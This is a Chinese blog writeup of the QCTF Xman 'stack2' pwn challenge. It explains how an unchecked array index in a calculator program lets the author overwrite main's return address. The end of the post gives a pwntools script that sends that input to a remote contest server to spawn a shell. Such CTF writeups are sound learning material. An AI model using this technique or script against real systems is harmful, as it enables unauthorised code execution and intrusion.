Fork me on GitHub

pwn的初体验-qctf Xman-stack2 writeup

昨天去打了打QCTF,水了3道web题目后便草草收场。表示这场比赛真的只是一场萌新赛吗。。。。由于队伍里面向来缺pwn手,所以便计划把这场比赛的pwn题目也做一下练练手,限于水平太菜也就做了个stack2这道题。

分析程序利用点

首先 checksec查看程序的保护情况
checksec
可以卡暗道开启了栈不可执行保护和CANARY。
先把程序拖到IDA里面然后F5大法好。。。得到main函数的伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
unsigned int v5; // [esp+18h] [ebp-90h]
unsigned int v6; // [esp+1Ch] [ebp-8Ch]
int v7; // [esp+20h] [ebp-88h]
unsigned int j; // [esp+24h] [ebp-84h]
int v9; // [esp+28h] [ebp-80h]
unsigned int i; // [esp+2Ch] [ebp-7Ch]
unsigned int k; // [esp+30h] [ebp-78h]
unsigned int l; // [esp+34h] [ebp-74h]
char v13[100]; // [esp+38h] [ebp-70h]
unsigned int v14; // [esp+9Ch] [ebp-Ch]

v14 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
v9 = 0;
puts("***********************************************************");
puts("* An easy calc *");
puts("*Give me your numbers and I will return to you an average *");
puts("*(0 <= x < 256) *");
puts("***********************************************************");
puts("How many numbers you have:");
__isoc99_scanf("%d", &v5);
puts("Give me your numbers");
for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
{
__isoc99_scanf("%d", &v7);
v13[i] = v7;
}
for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
__isoc99_scanf("%d", &v6);
if ( v6 != 2 )
break;
puts("Give me your number");
__isoc99_scanf("%d", &v7);
if ( j <= 0x63 )
{
v3 = j++;
v13[v3] = v7;
}
}
if ( v6 > 2 )
break;
if ( v6 != 1 )
return 0;
puts("id\t\tnumber");
for ( k = 0; k < j; ++k )
printf("%d\t\t%d\n", k, v13[k]);
}
if ( v6 != 3 )
break;
puts("which number to change:");
__isoc99_scanf("%d", &v5);
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7;
}
if ( v6 != 4 )
break;
v9 = 0;
for ( l = 0; l < j; ++l )
v9 += v13[l];
}
return 0;
}

分析程序可以看出程序的逻辑大体是输入一堆数,然后可以求平均值,也可以添加数字,或者更改某一位。数字默认被存入一个数组中。其中在更改某一位数字的操作中可以看到并没有被传入的下标做检测,这就导致了我们可以在任意位置写入数据,从而更改掉main函数的返回地址从而实现getshell。而且这里存在一个hackhere函数:

1
2
3
4
int hackhere()
{
return system("/bin/bash");
}

所以最初的尝试是将retaddr覆盖为hackhere函数的地址。

分析偏移量

这里分析偏移量采用了ida动态调试的方法,在main函数的retn处下断点。为了方便找到数组的地址,在调试时先输入4个数字1,2,3,4,然后在stack view中寻找数组的首地址。
执行到断点处stack view视图默认指向esp的位置,可以从而确定retaddr:
retaddr
这里的retaddr为0xffcd968c
向上寻找看是否存在某段内容为04030201,即可找到v13数组的首地址:
bufaddr
可以看到数组地址为0xffcd9608,数组相对retaddr的偏移位数为0xffcd968c-0xffcd9608=132,所以只要覆盖v13[132]至v13[135]即可。
确定hackhere的地址为0x0804859B,所以只需覆盖v13[132]至v13[135]为0x9b,0x85,0x04,0x08.
本地测试用这样的方法可成功getshell。

远程的问题

然而远程测试则提示bash not found.原来目标机器上并不存在bash。因此想要getshell就只能通过调用_system来实现最终的getshell。而这里的/bin/sh可以从/bin/bash中获得,即/bin/bash的倒数二位。
因此最后打通远端服务器的payload为:

1
2
3
4
5
6
from pwn import *

r = remote("47.96.239.28", '2333')
r.sendline('1\n5\n3\n132\n80\n3\n133\n132\n3\n134\n4\n3\n135\n8\n3\n140\n135\n3\n141\n137\n3\n142\n4\n3\n143\n8')
r.sendline('5')
r.interactive()

getshell

后记

对于pwn菜鸡来说一定要熟悉程序执行的原理才行,另外ida远程调试也是一个很好的办法,更加形象化。另外这里的ida是在wine下运行的portable版本,亲测没有什么大bug。
keep calm and carry on!